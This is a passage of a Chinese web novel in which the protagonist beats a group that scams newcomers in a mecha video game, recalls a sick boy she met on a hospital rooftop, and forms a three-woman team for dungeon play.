而天幕之下，地面无数排建筑，组成一个小城镇，和周围的沙漠格格不入，就好像凭空安在那里的。 最热闹的两条街道，周围满是摊贩。 摊位摆着发卡、马桶刷、二手衣服、模型枪……总之五花八门。 同一个摊位上卖的东西完全没有关联。 NPC店主似乎并不担心东西能不能卖出去。看到有人来，也完全不打招呼，翻个身继续睡觉。 一身黑衣服的商人看到她们，斜眼朝这边瞥，对上视线之后，又迅速移开。 给人感觉不像正经集市。 身后传来尖锐的鸣笛声。几人回头，一台木质大巴车从道路中间驶过。 摊贩们收竿，把头顶的顶棚收了回去。车就这样从狭窄的楼道间穿过。 南卦：“这是……黑市吧？” 陶影点头：“唔，算是。” “游戏内也有黑市啊？卖什么的？” 陶影：“绝版机甲零件，高强度武器之类的。身上携带的火种币足够多还可以进入售卖特殊武器的隐藏商店，不过限购，需要等每周刷新。听说初版游戏原本没有这个设计，是制作人员一时兴起加上的。” “对了，新手期有一些隐藏支线可以在这里触发。去银行之前，你们顺便去找NPC领个任务吧，后续集齐了有大额奖励。” “门牌号在A3-8。领完任务去A5-8，那里有任务线索。” 林别歌她们一起去了这个位置，果然找到了隐藏任务。 【是否接受任务：寻找火种-1】 【任务提要：你在黑市商人处买到一块奇怪的残片，据说是星舰的船长希拉辛在太空流浪中写下的航行日志。虽然不知道是不是真的，但似乎值得一探？来试试收集吧！】 【当前收集航行日志残片数目：1/？？】 毽子头终于找到机会插话：“这个隐藏任务早就有人触发过了，不过很坑的，十几年老玩家组了个团，就为了完成这个隐藏任务，真的是游戏上上下下所有地图全跑遍了，最后找到碎片三百多片，结果还是不够。” “开服到现在都没有人集齐过航行日志的碎片。” 陶影微微一笑：“谁知道，说不定还有隐藏地图没开。” 林别歌左看右看，总觉得哪里不对劲。 “影子，你好了解游戏内容啊，以前玩过这个游戏吗？” “没有，我比较喜欢现实里找人玩游戏。” 是喜欢把别人当游戏玩吧？ 林别歌腹诽。 陶影：“任务做完了吗？” “拿到啦！航行日记，我看看。” 【太空航行第34天。】 【记录者：船长，希拉辛。】 【记录内容：附近星球找到补给点，物资充足，星舰状态良好。590位乘客冷冻中，今日轮替船员10名，从冷冻舱清醒后，体质精神状态均良好。】 再往下看，内容没什么特别的。现实中也有这位叫希拉辛的船长，她们小学课本上学过。 估计直接把实际的航行日志拿来用了。 像是为了补充世界观加进去的。 两位队友花了五分钟迅速拿到另一个任务线索。 转头看到毽子头还跟着，林别歌两手一拍：“对了，打赌，差点忘了。” 陶影指路：“火种银行在你们右侧第十三家店铺旁边的小巷。” 根据陶影的指路，她们来到一处隐蔽的小巷，角落里有个一米高左右的小门，破烂的招牌写着火种银行。 两位队友蹲下身，推开小门，林别歌因为身高太高，是趴着进去的。 进去后，两人都忍不住“哇”了一声。 内部的空间非常大，装潢华丽简直像帝国皇家银行一样，金灿灿的。 从外面完全看不出来。 大堂里满是办业务的NPC，走来走去。 她们一进来，就有专人询问办什么业务，得知是想要预支100万火种币，更是笑嘻嘻地带着她们到里面找客户经理。 林别歌不禁感叹：“我们家乡的银行排队两个小时可能都办不了业务，有钱真好啊。” 她捂着通讯器，转过头小声询问：“不过我们明明是来预支钱的，NPC为什么这么高兴？” “游戏设定而已，里面的NPC都有固定程序，不算太智能。” “游戏的大部分性能都留给了机甲。” 陶影淡淡地打了个呵欠，抬手砍掉一只盲蛛。 “火种银行也是官方的小彩蛋。”不过一般多周目的人才知道。 火种内部有极为完善的交易系统，会有人通过多周目，在世界交易系统高价倒卖机甲零件刷钱。 把钱存到火种银行里，再开新号买到好一点的机甲。 这样新号进入高级场战斗的时候，在新手保护区匹配到的对手更弱。爬单人天梯榜会更轻松一点。 当然，如果在火种银行预支了一百万，就算删号也要还的。 林别歌：“影子，你真的没玩过这个游戏？” “没有。” “那你怎么对游戏的隐藏内容知道得这么清楚。” “唔，星网上碰巧刷到过相关攻略。” “真的？”林别歌摸了摸下巴。感觉这人语气不对，像是在糊弄她。 算了，反正影子作为队友，坑她们也不是一次两次了，大不了就欠一百万呗。 林别歌：“不过和我们打赌那男的，刚刚说他是新人。听你的说法，他像是老玩家啊，总感觉居心不良，真的要跟他赌？” 陶影：“居心不良不是更 好吗。” “？” “我们就可以放心大胆地下黑手了。” 队友：“……” 陶影拍拍耳麦：“放心，我心里有数。” “那好吧，听你的。” 很快她们就办完业务拿到了钱。 陶影操作机甲左移了一下，熟练地避开第七只盲蛛的攻击，找到路线绕到第八只盲蛛的背后，一刀毙命。 【已超时，任务进度清零。】 【重新开始新手教程。】 【当前击杀数：0/10。】 【资源加载中。】 陶影深呼吸几口，正好听见那头的林别歌和南卦在讨论——她这场打赌是不是意气用事。 “不像，都没见影子生过气，宿舍楼塌掉的时候她甚至还在拍照。” “对啊，转头开始申请赔偿。” “我觉得她应该是认真想赢。” “虽然感觉她会输，但我愿意陪她玩一把！舍命陪室友！” 这是林别歌。 陶影失笑，她按住耳麦：“谢谢两位室友，不过你俩下次密谋的时候小声点，我全听见了。和你们打赌的人呢？” 毽子头把头凑到林别歌这里，阴阳怪气让陶影不要再拖累她的队友了。陶影看到这个人遮遮掩掩的样子，突然眯了眯眼睛。 像在想什么坏主意。 “你刚刚说的赌一百万火种币，用竞猜系统设置好，我确认一下。” 《火种》内有竞猜系统，一开始用于官方比赛的有奖竞猜。 后来因为民间也有不少团队自发组织比赛，所以官方将权限下放，普通玩家也可以用竞猜系统来为比赛胜利投注。 两人的手已经按在领任务的界面上，陶影突然叫停。 “等等，任务奖励再加一个，就赌我的机甲VX-89。” “啊？”南卦再次确认任务条件：“这，这东西也能交易吗？难道不是新人强制绑定的任务道具？” 是的，每台新人的初始机甲都会绑定上她们的帐号，哪怕和别人交易了，不管转卖多少次，上面都会有初始者的名字。 绑定，但不是强绑定。 “当然可以交易，《火种》的交易系统非常自由。” 陶影露出一个不易捉摸的笑容。 “至于你，既然我们这边赌上三台机甲，你总得有点表示吧？加点筹码？” 毽子头一副无所谓的表情，加上了机甲：“当然，我也赌上我的机甲，再加上两百万火种币！” 【挑战内容设置为“用户S将在十局内通过新手教程”。】 【A方，火种币：300万。机甲：晨风一台。】 【B方，火种币：100万。机甲：VX-89三台。】 【系统已录入。】 【挑战限制时间在一天内，请用户“S”及时“在十局内通过新手教程”。】 【挑战结果将由随机抽取的评审团进行最终评估。】 【十位评审团随机抽取中…………抽取成功。】 挑战系统上的内容是公开的，大家可以自由围观赌局内容。 因为这些年《火种》的热度已经下去，搞挑战活动的人很少，所以陶影的赌局一放上系统，除了自动抽取进入的评审团，房间内还涌入好几位观众。 【哇，是活的新人！】 【小心点，别把萌新吓跑了。】 【我看看，赌局内容是什么，十局内通关……新手教程？啊？】 评审团一时大受震撼。 谁家好人十局都通关不了新手教程啊？ 有人看了一眼陶影的基本数据。 【破案了，挑战者的体质是E。这是哪个大佬在录整活视频吧？】 【那也太拼了。之前有排行榜前三的大佬录过体质D的通关视频，那叫一个艰难啊，凹了差不多一个星期吧，都凹吐了。最后粉丝说让他再录一下/体质E的新手教程通关，被他放话说“不可能，你要是做到了，我给你打一百万星币，星币哈，不是火种币”。】 【是的，因为这件事，游戏社区还流行过一个表情包：“问我有多强？我靠体质E通关火种新手教程.jpg”。】 【总之，体质E怎么可能通关啊。散了散了，回家吃饭。】 几位观众退出了房间。 毽子头看着南卦和林别歌，露出了志得意满的笑容。 她们输定了。 火种内删号重开，其它东西可以重置，但火种银行内的金钱是绑定身份，强制继承的。一旦背上一百万的债务，得花上好久的时间还，可以说号基本废了。 毽子头低头，截了个图，在小群里给朋友发了消息。 “又有新人上钩了哈哈。” “大哥厉害啊！又骗到一个！她们待会赌输了就该哭喽。” “这次好玩了，我倒要看看她们怎么慢慢还这些债务。” “看她打得这么艰难，删号重开还得再过一次新手教程吧，哈哈，真可怜。”—— 作者有话说：没玩过游戏，但对游戏内容异常熟悉，怎么回事呢（望天 第37章 “也不一定啊,说不准她过不了新手教程。” “这么说来，我们还算做了好事，帮助她认清自己的能力,毕竟不是每个人都适合开机甲的。” “哈哈哈。” 小群内一阵嘲讽的笑声。 …… VX-89机体在空中利落地旋转了一圈，又解决掉两只盲蛛。 陶影看了一眼时间,过去四十五分钟，击杀数6/10。 接下来的四只盲蛛,是最难啃的几只,它们的智能更高,会团体合作。 陶影的身体已经开始疲累，她找到安全区,先缓了五分钟。 休息结束,陶影被两只虫族夹击,逼出安全区。 向下躲的时候，右手失力,汗水滴落，握住操纵杆的手打滑一下。角落里,一只螳螂形态的虫族举起镰刀状的手，砍掉驾驶室。 ……怎么还随机演算到稀有怪了。 眼前突然一片漆黑，驾驶舱发生爆炸,火焰在眼前燃烧，热浪扑面而来，陶影的痛觉神经在疯狂刺痛，十秒后，她又重新出现在复活区。 陶影浑身全是冷汗，五分钟过去，身上的灼烧感才逐渐消散。 距离第九局开始还有两分钟,陶影按摩着酸痛的右手，暂时躺在了椅背上。 她已经连续打了六个小时。 但精神力状态还好。 如果是在游戏外进行同等强度的锻炼，估计第一把还没打完她就光荣地进入医疗舱了。 在没办法实机练习的情况下，《火种》对她来说，是非常好的训练工具。 …… 赌局进行期间，一直不断有路过的好奇观众进入房间。 【什么情况？谁家组织的小型赛事吗？】 【不像哎，两个新人在打赌。】 【都是新人？完了，不会又是那帮专骗新人的垃圾吧？当初我年少无知和他们开赌局，背了一百万的债务，删号重开好多次，就为了开局刷钱，差点没给我刷吐了。】 【不过至少可以删号重开……等下，这个新人怎么把她的机甲也赌上了啊？！她疯啦？！】 【赌上几台VX-89而已，有什么问题吗？】 【删号重开后，系统会自动选择上一局价值最高的一台机甲继承，对新人来说就是初始机甲。如果删号前背包里没有机甲，那开局的时候就是空手。】 【所以对新人来说！一旦失去这台机甲！就代表着她删号重开之后，面临的是手撕虫族！】 【再加上她们这一百万的债务，号彻底废了啊啊啊啊！】 林别歌看完房间里的交流，发出“嘶”的一声。 南卦握紧了拳头：“那个毽子头果然不是什么好人。” 【这个骗术已经很多年了，能上当看来是真新人，哎， 希望她们不要因为这个对游戏产生不好的印象。】 【没办法，海台科技这几年走下坡路，走了不少人，我朋友说火种还在运营就不错了，赚不了钱，还得倒贴，几乎没人维护。】 新手教程，主角的血条根本不会归零，只要在规定时间内打完就可以，这位新人竟然因为超时，连续重开了七把。 她的极限应该就在击杀八只了。肯定赢不了。 十位评审团成员开始提前为陶影叹息。 南卦点开聊天窗口，反驳：“你们凭什么说她一定会输？” 林别歌也在房间里发言替陶影说话，但她心里也打鼓。 “影子要是真输了怎么办。” 南卦：“以我的直觉判断，小影不会随便拿她没有把握的事情打赌。她这么冷静，心中有数，倒像在……” 林别歌接话：“倒像在谋划一些缺德事？” 南卦点头。 果然如评审团所说，第九局陶影根本没有让击杀率加一。 仍然是8/10。 大家判断她的体力已经到达瓶颈，这场对赌输定了。 在第十局开始前陶影准备了很长的时间，大家都有点不耐烦。 【让她直接认输算了。早知道就不报名评审团了。】 【我在八时区，先去吃个饭，回来再看结果啊，88。】 【我在十二时区，睡一觉先。她准备好了叫我。】 陶影她们所在的切斯特星时区，最后只剩下七八个人观战。 林别歌不服气道：“还没到最后呢。” 评审团：“哎，有时候承认自己的不足也是进步的一环……” 然而第十局一开始，陶影的行进路线和之前的九局不一样，完全变化了。 评审团本来都有点困，看到她那不走寻常路的路线，一下子清醒地立正。 【她往下走了？这是变换了策略？】 【等下，她刚刚那一刀，跟之前的动作完全不一样！她砍掉了两只盲蛛！厉害啊！】 大家还没来得及惊诧，就看见陶影机甲扒在太空坞站的光能板上，转身将三只盲蛛齐齐切成两半！ 而这时仅仅过去了五分钟。 五分钟，她干掉了五只E级盲蛛！ 这意味着，她只需要在剩下的五十五分钟内，干掉另外五只，就能赢！ 大家逐渐兴奋起来。 【有机会！上啊！】 【燃起来了。】 【等下，她后退了！为什么？这里明明是个很好的攻击点！】 下一秒，陶影的动作给出了回答。 她轰掉了太空坞站的重力环，将半圆形的碎片一脚踢过去。 又干掉三只！ 剩下两只盲蛛因为重力环的缺失，突然失去平衡。 陶影借坞站外壁的反作用力，往太空中一弹。 红色的VX-89，划破天际，来到两头盲蛛中间。 她抬手，一刀划出。 收回时，两头盲蛛腹部的酸液爆出。 【击杀数10/10。】 【您已完成新手教程。】 【恭喜获得隐藏成就：体质E模式下，十分钟内通关新手教程。】 【获得成就奖励，火种币x500000，航行日志碎片x1，特殊道具：不知道哪里的钥匙x1。】 “呼。”陶影看了一眼左上角的时间。 十分钟。 这是她体质的极限。 陶影敲敲耳麦：“收工啦，队友。” 观众：“……” 刚刚发生了什么？ 体质E，她竟然十分钟就过了新手教程！ 那她之前磨磨蹭蹭，打到超时都过不了关是因为什么？好玩吗？ 评审团有人激动道：“刚刚有人录视频了吗！发我！有用！！” “我有我有。” “私我私我。” 这人收到视频，兴冲冲跑点开星网直播，进入游戏区，找到他关注的主播，发了条SC。 这位主播是机甲游戏区的大佬。 在《火种》的个人天梯榜排行第三，所以给自己取名万年老三，这么多年换了不少圈子，还是留着这个ID。 虽然《火种》的系统和主题非常迷人，但机甲的更新换代也很快，《火种》停更多年，已经跟不上时代了。 老三正在播其它机甲游戏。 他念：“感谢用户小鱼干的一条SC，‘老三，有人体质E通关了火种的新手教程’。……？” 直播间正在播其它机甲游戏，骤然出现《火种》两个字，观众都是一头雾水。 万年老三语气略有些无奈。 “体质E都多久以前的梗了，本来以为你是新观众，但你的粉丝牌又是‘万年老粉’，你究竟什么成分？” 小鱼干急了：“不是啊，老三，真的有人过了，不是玩梗，还是新人，你看看私信，我给你发了视频！” “怎么可能。照数据算下来，那个概率是亿万分之一。” 除非操纵的精确度极高。 但哪怕是天梯榜排行前两位的人，都不一定能做到。何况是新人。 老三完全不信，但小鱼干是老粉了，老三也想看看他究竟发了什么视频，于是暂停了一下游戏，点开粉丝私信。 他一开始不以为然，看了两分钟之后眉头逐渐皱起，在看到陶影一刀砍爆三只盲蛛腹部后更是惊讶得嘴巴都合不拢了。 “竟然是真的？？” 这个视频肯定能火！ 老三思考了一下，迅速把视频放到直播间。 果然两分钟后，弹幕瞬间飞过满屏的问号，直播间涌入了大量的新观众。 【WTF，这合理吗？？】 【肯定我今天熬夜出现幻觉了。】 【这视频P的吧？】 【不行，我要把尘封多年的火种翻出来围观一下。】 一群观众挤进火种的小服务器，差点把服务器挤爆了。 但因为赌局已经结束，“用户S”还在新手保护期，无法靠道具锁定位置。所以他们没能找到这个传奇“新人”的身影。 大家都非常遗憾。 晚间，正是大家看直播入睡的时候，但现在他们都睡不着了。 视频很快传开，在机甲游戏区各大主播的直播间内不停播放。 一群人开始分析，这个视频究竟是不是假的，而视频中这个“用户S”，究竟是排行榜上哪个大佬的马甲。 陶影对此一无所知，她来到新手大厅，和队友击掌。 【评审团评审成功。10：0票。A方获胜。】 【用户“S”、“南瓜”、“林比格”获得机甲晨风一台，火种币三百万。】 她们的头上跳出+3000000火种币的字样。 队伍背包里也多了一台机甲。 晨风，狙击型机甲，她们用不上。陶影迅速把晨风挂上了交易市场，换了十万火种币。然后挑了一些机甲武器，给队伍配上。 抬头一看，毽子头正在愣愣地看着他的账户余额，看向陶影的那张脸，简直恨得牙都咬碎了。 陶影露出魔鬼般的微笑，似乎对这个结果早有预料。 她笑着拍拍毽子头的肩膀。 “承让。开局欠债三百万火种币，想必也是一种非常独特的体验，加油。” 她的加油在毽子头听来只是嘲讽。 “滴滴——” 闹铃响了，陶影她们退出了游戏。 而游戏里的毽子头还在发疯。 因为他刚刚才知道，按照火种的系统规则，开局如果在赌局内输掉默认机甲，下一次删号重来，就需要手撕虫族！！ 他的号废了。 “那个叫“S”的用户，临时说要赌上双方的机甲，她肯定是知道这个规则，所以故意的！！！” “这个人不简单，我们一开始就不应该把她当作是新人放松警惕。” “太恶毒了！” 小群里一片骂声。 他们是现实生活中的loser，游戏里也打不过别人，只能以欺负新人为乐，让不少新人删号、甚至产生精神创伤。 现在被人以同样的方式报复回去，就受不了了。 但他们是察觉不到这种行为有什么不对的。 所 以毽子头心想，没关系。他有的是帐号，他换个身份ID，一定要报复这个用户“S”。 但第二天，毽子头点开群，发现小群里所有人的帐号都被封了。 而《火种》所属公司的总裁，竟然发布了公告。 @伊琳娜：昨晚收到一封邮件，发信者说《火种》内一直有一群人，在恶意排挤欺骗新人，并以此为乐。很多人投诉过，但问题迟迟没有得到解决。我很惊讶，开服这么多年的老游戏竟然还会存在这种现象。今天已经找技术人员统统封号了，并且锁定了用户的星网地址，见一次封一次。大家以后不用担心了。[比心][红酒杯] 评论区一片叫好。 【啊啊啊终于处理了，总裁你活了，我都举报他们好多次了！】 【谁给总裁发的邮件，我要给她打钱！】 【估计是业内人士吧？哎，总之大快人心！】 @伊琳娜：对了，还有一件事，想必大家都知道了，但我还是分享一下。*分享视频*昨天有一位新玩家，以体质E，在十分钟内通关了新手教程！拿到了隐藏成就！这在我们游戏的数值设计下，几乎是不可能完成的任务。没想到这么多年以后，竟然有人通关，我真的十分感动。 @伊琳娜：唉，抱歉，说得有点多，可能今天喝了点酒。 @伊琳娜：我们《火种》当初是一个很小的团队，大家都是怀抱着梦想来做游戏的。 @伊琳娜：《火种》的主程序已经去世很多年了，我很想她。 伊琳娜一连发了很多条，虽然海台科技没以前那么厉害了，但伊琳娜作为海台科技的总裁，依旧是星网顶流。 她这几条，直接上了星网热搜。 #伊琳娜怀念《火种》主程序师# 林别歌奇怪地转过头：“她说的这个程序是谁啊？” 陶影顿了一下，点头：“陶影吧。” 林别歌：“啊！你说陶影啊！” 陶影奇怪道：“你知道？” 感觉林别歌能在星网上获取的，肯定不会是什么正面的信息……多半是什么“剽窃下属研究成果”，“违规售卖机密数据”。 但林别歌的回答有些出乎她的意料。 “我知道，陶影和伊琳娜是朋友。” …… 朋友。好朴实真挚的词语。 但也不能算说错。 伊琳娜的确是她为数不多几个可以信任的朋友之一。 海台科技其实也有她一部分股份。 至于火种的制作团队，一开始只有她和伊琳娜两个人。 可能是看到伊琳娜刚刚的话，陶影还真有点怀念起那段时光。 陶影眼神变得有些慈祥，她问林别歌：“不过你怎么知道她们是朋友？” 林别歌满不在乎道：“伊琳娜自己说的啊！说她跟陶影大学时候就认识了，认识的经历也非常传奇，她们两个在同一个夜晚翻墙出学校，结果正好撞上了。” “她还说，陶影那天翻墙，是去给初恋买生日礼物……哎影子，你脸色怎么突然这么奇怪。小叶？小叶你怎么宕机了？” 陶影、叶行晖：“……” 好的，现在她们不是朋友了，谢谢—— 作者有话说：隐藏成就get[撒花] 是的，我们小影是《火种》的主程序师（点头 第38章 给初恋买生日礼物？那不是。 陶影大学期间,天天忙着挣钱和参与各种学校的比赛，做《火种》期间更是忙得焦头烂额，在学校、工作室、医院三头跑,每天只睡四个小时。 她那时候脑子里没有初恋，只有初赛跟初稿,谢谢。 陶影看了一眼时间，这个时候,通常小叶会来叫她早点睡觉不要熬夜。 今天怎么消失了？ 陶影在屋子里找了一圈,最后发现智能管家背对着她,坐在走廊的角落。 她上去敲了敲智能管家的头，但它没有反应。 陶影奇怪地道：“零件又卡壳了？我之前明明检查过了啊。” 掏出工具箱,下掉螺丝,打开智能管家的胸腔,从里面掏出零件，一个一个重新检查之后…… 发现是电池又没电了。 怎么用电量这么大。难道是最近天气太热,电池损耗过快？ 而莱门市的另一边，白色博美犬跳到少年的头顶。 “哟,Dust，怎么突然机器过热，你在计算什么东西？” “我在计算小影的初恋究竟是谁,”Dust两眼放空，“本来以为是尤里斯爱荷华，但小影和他大学的时候没有交集。我想想，首先排除伊琳娜，车晓理，龙嘉木，还有小影的监护人……” 博美：“……” 连监护人都纳入考虑范围内,就没考虑过是自己吗？ 博美：“有没有一种可能她初恋就是你？” 黑金色机器轰鸣了一会儿，停止了计算。 Dust低垂下头：“小影对我第一印象应该挺差的。” 陶影对叶行晖的第一印象还不错。 虽然叶行晖因为生病，浑身上下裹得严严实实，但露出来的那双眼睛非常清澈漂亮。 不过他们初遇的场合确实有点特殊。 是莱门市的一所医院。 那天陶影心情不好，所以一路从病房走到顶楼，想吹吹冷风。而她一推开门，就看到一位纤瘦的少年坐在医院的天台上。 少年一身黑。 帽子紧紧压在头上，口罩遮住半张脸，额间两缕碎发随风飘动。 他的眼神平静得像一潭死水。 从楼顶朝地面沉沉地望着。 死亡对他来说，似乎是甜美的深渊，随时都在诱惑他向前一步。 陶影靠在墙边观察了一会儿，最终还是开口。 “嗨。这个高度，跳下去死不了。” “——考虑到你站在切斯特星医疗技术最顶尖的医院顶楼。” 少年蓦然转过头，沉寂的眼神中终于出现一点波澜，他像做了什么错事被人发现，迅速爬下来，改口说自己也是想吹吹天台的冷风。 “谁信啊，你不就是想死。” 少年：“……” 后来陶影因为经常去医院，两人莫名撞见好多次，就熟悉了起来。 陶影了解到，少年叫叶行晖，因为染上一种无法完全治愈的特殊疾病，从出生开始，就一直在各个医院辗转。 叶行晖的病情一直在恶化。每天他都手握日记，写下新一天的遗言。 某天，他轻轻扯下口罩，露出底下苍白的皮肤。 “小影，我好像活不过今年春天了。” “明天是我生日。”少年面露腼腆。 “所以你能不能帮我买到《海，宇宙，与尘埃》的珍藏导演签名版录像带？要是来不及，烧给我也行。” 且递出了他的全部积蓄。 陶影：“……” 那她还能说什么。 陶影那天翻墙出学校，就是去买这卷录像带。 之后发生了一些意外，陶影没有去医院的理由了。 而最后一次见到少年——依旧是在天台上。 他死了。 冰冷的雾气哈在金属仪器上，陶影的手覆在少年的双眼，护士慌乱地追赶上来…… 陶影平静地看着那台毫无反应的金属仪器。 哦对，就是那台能把人的意识转化为电子信号的仪器。 不久前帮陶影赛博转生的那台。 但少年没有那么幸运。 仪器显示，叶行晖的意识并没有成功提取，也没有转化成电子信号。 少年消失在了宇宙的洪流中。 从此再也没有出现过。 唔，那是一段比较复杂的回忆，感觉很难说。初恋……初恋啊。 陶影从回忆当中回过神。 人们喜欢把在同一个人身上花了很多时间，又得不到回报的行为叫做喜欢。 那她管他叫初恋也很合理吧？ …… 陶影很快在游戏内通关了剧情前几章，解锁了组队副本功能。 火种内部，除了单人的天梯榜，还有3V3的组队排行榜——战术小队榜。 每个队伍的队员都是固定的，不能更换。 陶影把两位队友拉到同一个房间，点击组队。 “请输入队名”的输入窗口底下是一串加黄的大字警告。 【重要提示，队名修改需要10000000火种币，且一年只能更改一次，请谨慎填写。】 陶影转头询问：“我们队名取什么？” “要不带我们三个的名字，一人一个字吧。白影、南卦、林别歌… …” 林别歌举起手指：“就叫南方影视歌舞有限公司！” 陶影、南卦：“……” 倒也不必强行把名字全凑进去。 大家纠结了很久，准确地说，只有林别歌和南卦在纠结，这个名字究竟是取文艺一点，还是好笑一点。 陶影看了一眼电视上的广告，正在播放电影《太空女鬼六》的制作访谈。 随口道：“要不就叫太空女鬼队吧，正好我们三个都是女的。” “这算什么理由？” “不过你说女鬼，确实有点道理。” 林别歌思索了一下。 影子，脸色苍白下一秒仿佛就要去世，南瓜，第一次见面就坐窗台上想去死。 她俩非常适合女鬼的形容。 这时，电视上正好在介绍电影里的几只“女鬼”。 南卦也点头表示赞同：“确实，不觉得我们仨很像太空女鬼六里的女鬼团吗？一个核心头脑，一个精分，一个负责搞笑。” 林别歌指了一下自己：“核心头脑跟精分的部分我姑且不反驳吧，但说我负责搞笑是什么意思？我好笑吗？” 陶影和南卦都直直地看着她。 陶影微微一笑：“一切尽在不言中。” 林别歌：“……” “我看你言得挺开心的。” 最终，林别歌的微弱反抗失败，队名定为“太空女鬼”。 系统弹出提示。 【请确认以下信息无误：】 【队伍成员：S、南瓜、林比格。】 【队伍名称：太空女鬼队。】 【确认】/【取消】 陶影点击确认。 现在她们可以在新手场进行3V3的组队战斗了。 她们三人摩拳擦掌，十分兴奋，用传送道具来到机甲赛场。 输入报名信息后，系统迅速完成匹配。 六台机甲从高空投放。 她们驾驶着VX-89稳稳落地。 系统开始播报比赛信息。 【太空女鬼队VS入场即巅峰队】 【比赛开……比赛结束。】 观众：“？” 陶影：“？” 林别歌：“我们刚刚是被秒杀了？” 陶影一拍脑袋。哦，差点忘了。 “火种没什么新人，新人场里很多是多周目爬榜的大佬队。被秒杀倒也很正常。” 一看对面名字就知道，入场即巅峰队。 他们的机甲，已经是新人能用的最好的机甲了，而武器更是游戏内顶尖。 她们刚才似乎是被一炮全轰没了。 又扫了一眼报名队伍，新手场对她们来说似乎还太早了。 “事已至此，先去副本练练手吧。” 陶影迅速根据副本难度找出几个适合她们现在打的，刚刚走出赛场，就听见后面有人叫她。 “哎，那个谁，你等等！” 两个人追了过来。 陶影回过头，看了一眼她们头上顶着的昵称。 是入场即巅峰队的队长，叫“猫核”，旁边还跟着她的队友，叫“酪鼠”。 猫核酪鼠……猫和老鼠？ 名字挺有年代感的。 不过她们不是忙着爬榜吗？追出来干什么？ 猫核顶着一头七彩色的头发，十分显眼的冲了过来，无关路人都忍不住朝这边多看了一眼。 “哎！你，你是不是那个新人S，就是十分钟通关新手教程，拿到隐藏成就的那个！你那条视频，整个机甲游戏圈都传爆了啊！” 猫核面色激动，突然抓住陶影的手。 “对了，你拿到隐藏成就的奖励是什么？” 说完，猫核似乎是觉得自己有点太热情太吓人了，又不好意思地收回手，开始解释。 “哦你不要误会，我就是对火种世界观比较感兴趣，听说成就奖励里有航行日志的碎片，想看看日志内容，不是想抢你东西。” 陶影没什么表情：“有倒确实是有……” 陶影从背包里拿出一张老旧发黄的纸片，递过去。 猫核惊喜地拿着左看右看：“啊啊啊果然是！谢谢你！我能拍张照发到论坛吗！” 她说的应该是《火种》资深爱好者的论坛，里面不仅有帮扶新人的老队员，还有各种地图攻略，手把手教的副本攻略。 另一边，也活跃了不少考据党。 “全服只有三条日志没找到了。” “我们现在找到了缺失的三分之一！”猫核举着陶影给她的航行日志碎片，“根据我们的猜测，着三条没找到的内容，是火种的开发者自行编造的，肯定跟火种世界观的根源大有关系！啊，抱歉，你们不感兴趣吧。” 猫核不好意思地收敛住话题，兴冲冲加上陶影的好友，就把她拉进群里，还大手一挥，非常豪气地又给陶影她们送了一点装备。 陶影看了一眼，的确是VX-89能用上的装备，虽然谈不上特别贵，但很有用。 看来猫核对老式机甲很了解。 “还有这两百万火种币，你们拿着买点新手装备，好爬战术榜！如果还有其它日志碎片，欢迎找我，有大额回报！” 说完，猫核酪鼠二人组飞快冲回赛场，继续爬榜去了。 “那我们现在干嘛？” “去打副本啰。顺便看看能不能在副本地点找到日志碎片什么的。” 陶影摊手。 第39章 副本所在地比较特殊,不能使用道具传送，需要在卡索涅尔星乘坐星舰，跃迁后才能到达。 陶影果断买了票。 她慵懒地躺在座椅上,抽出椅背上的旅游传单封面。 上面写着目的地的介绍。 “弗拉姆星，第二星系有名的熔岩行星,有峡谷、盆地、裂谷等地带，地形多样。” “表面温度在300~900度不等,不适宜人类居住。” “嚯！”南卦和林别歌好奇地趴在穿梭舰的窗边,往下看。 弗拉姆星半个星球的表面,都被滚烫的岩浆覆盖，时不时还有活火山喷发。 星舰喷射出气体,远远绕过了活火山位置——火山喷发的碎屑吸附在舰体表面,会极大增加星舰机械故障的概率。 如果搅入发动机,甚至可能导致星舰沉没。 星舰很快停泊到港口，陶影她们换乘成了更小号的穿梭舰。 穿梭舰载着陶影,来到温度相对较低的盆地区域。 冷却后的岩浆，形成的黑色层,拥有各种奇特的形状。 有像是一群人在火海中挣扎向上爬的地狱景象。还有一处像是手掌托向天空。 有点诡异的美感。 她们在穿梭舰观光了个爽之后，穿梭舰着陆，停在手掌地标的旁边。 林别歌伸出试探的jiojio：“能,能直接踩下去吗？不是说表面温度最低也有300度？” “不用担心，天幕圈起来的部分温度正常。是这片行星唯一安全的区域。” “而且这是游戏。” 陶影再次提醒，说着，指着前面的地标：“不去信仰之手打个卡？” 信仰之手，就是那只黑色手掌。 在星舰上看着的时候，小小一个，在地面上看,却有几百米宽，堪比运动场的顶棚，看过去极其有冲击力。 手掌底下插着牌子，上面写着“我在弗拉姆星很想你”。 两位队友一前一后，拉着陶影过去，在牌子面前摆好姿势，就是一阵截图。 林别歌：“没想到这个手掌竟然这么大？从下面看上去，简直像一朵黑色的平菇。啊，饿了。” 南卦：“像天鹅张开翅膀吧？” 陶影已经习惯了两位队友的奇特比喻：“嗯，都挺像的。” 陶影的视线在广场上扫射了一圈，慢 慢走到头顶感叹号的NPC面前。 这里聚集了十几名玩家。有几个在找队友一起打副本，有几个没动，应该是在挂机。 陶影和NPC对话几句后，点开任务详情。 【任务名称：火山深处-热渊迷宫】 【任务类型：调查、生存】 【任务内容：十天前，卡索涅尔星第七军团的一支一等兵小队，前来这里捣毁一个虫巢，但有来无回，你需要协助幸存者进入虫巢调查具体情况。】 【推荐玩家等级：一等兵。】 【推荐游玩人数：5~10人。】 顺带一提，她们现在的积分等级，是预备三等兵。 唔，和一等兵之间差了堂堂9000积分。 火种游戏内，积分不限制强度，但会限制机甲型号，和能接取的任务等级。 陶影点击接取任务，果然，NPC提示她：“你水平不够，还是练练再来吧。” 系统提示： 【这里是高级副本，你需要找到至少一名一等兵队友，才可以接取任务。】 陶影转过身，除了她，还有两个人在找人组队。 他们头上顶着花花绿绿的彩色称号，边框右上角写着数字“100”，这是天梯榜排行靠前的奖励，起码前100名。 这个水平，肯定是上校级别了，估计不会跟新人组队，但谁知道呢，问问她又不吃亏。 陶影走上前去。 “组队吗？” 看到陶影说要组队，那两人先是兴奋，但看到陶影头上天使一样的金色光圈后，又肉眼可见变得失望起来。 “什么啊，你还在新手保护期？” “你是来观光的。” “不，我们也是来打副本的。组队吗？” “你？”那人上下打量了陶影一下，“呃，你们最好还是从最基本的副本开始吧。” 他们显然没有兴趣和新人组队，说完，又继续去找队友了。 南卦低落：“他们拒绝了哎。” 陶影摊手：“被拒绝也很正常，再想其它办法就可以了。” 找了一圈也没有人愿意组队，又在公频发了组队悬赏，但发出去很久也没有人回。 